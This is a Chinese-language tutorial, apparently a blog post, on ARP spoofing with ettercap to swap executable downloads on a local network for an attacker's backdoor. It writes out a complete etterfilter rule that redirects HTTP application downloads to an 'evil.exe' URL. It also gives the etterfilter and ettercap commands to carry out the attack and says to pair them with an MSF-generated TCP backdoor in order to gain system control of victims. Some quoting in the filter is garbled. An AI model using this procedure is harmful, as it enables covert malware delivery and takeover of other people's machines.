ettercap是LINUX下一个强大的欺骗工具,当然WINDOWS也能用,你能够用飞一般的速度创建和发送伪造的包.让你发送从网络适配 器到应用软件各种级别的包.绑定监听数据到一个本地端口:从一个客户端连接到这个端口并且能够为不知道的协议解码或者把数据插进去(只有在arp为基础模 式里才能用)
下面我们来说说咋吧数据插进去
首先你得有自己个规则,默认的ETTERCAP自带了几个
brk@Dis9Team:/usr/share/ettercap$ ls
ettercap.png etterfilter.cnt etterfilter.tbl etter.mime
etter.dns etter.filter.examples etter.finger.mac etter.services
etter.fields etter.filter.kill etter.finger.os etter.ssl.crt
etter.filter etter.filter.ssh etterlog.dtd
brk@Dis9Team:/usr/share/ettercap$
在入侵过程种,这些达不到我们想要的,来看这个规则
# replace rmccurdy with your website # replace the url with what ever exe you like if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("keep-alive", "close" ");
replace("Keep-Alive", "close" "); } if (ip.proto == TCP && search(DATA.data, ": application") ){ # enable for logging log(DECODED.data, "/tmp/log.log"); msg("found EXEn"); # "Win32" is the first part of the exe example: # if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc .. if (search(DATA.data, "Win32")) { msg("doing nothingn"); } else { replace("200 OK", "301 Moved Permanently
Location: http://fuzzexp.org/evil.exe
"); msg("redirect successn"); } }
他吧80端口请求的数据application(也就是附件) 301重定向成了他自己的EXE程序,这个EXE必须是Win32程序,也就是命令行的。
下面来尝试一下,用MSF生成个TCP后门,再把 Location: http://fuzzexp.org/evil.exe 改成自己的地址
用etterfilter吧规则文件编译成ettercap能读懂的文件,进行欺骗
brk@Dis9Team:/$ etterfilter exe.filter -o exe.ef
brk@Dis9Team:/$ sudo ettercap -T -q -i vboxnet0 -F exe.ef -M ARP // // -P autoadd
模式必须是ARP的,当这个网段的某机子下载某WIN程序的时候,神奇的东西出现了
程序已经被替换成了我们的后门
当他点击运行的时候,我们获得了他的系统权限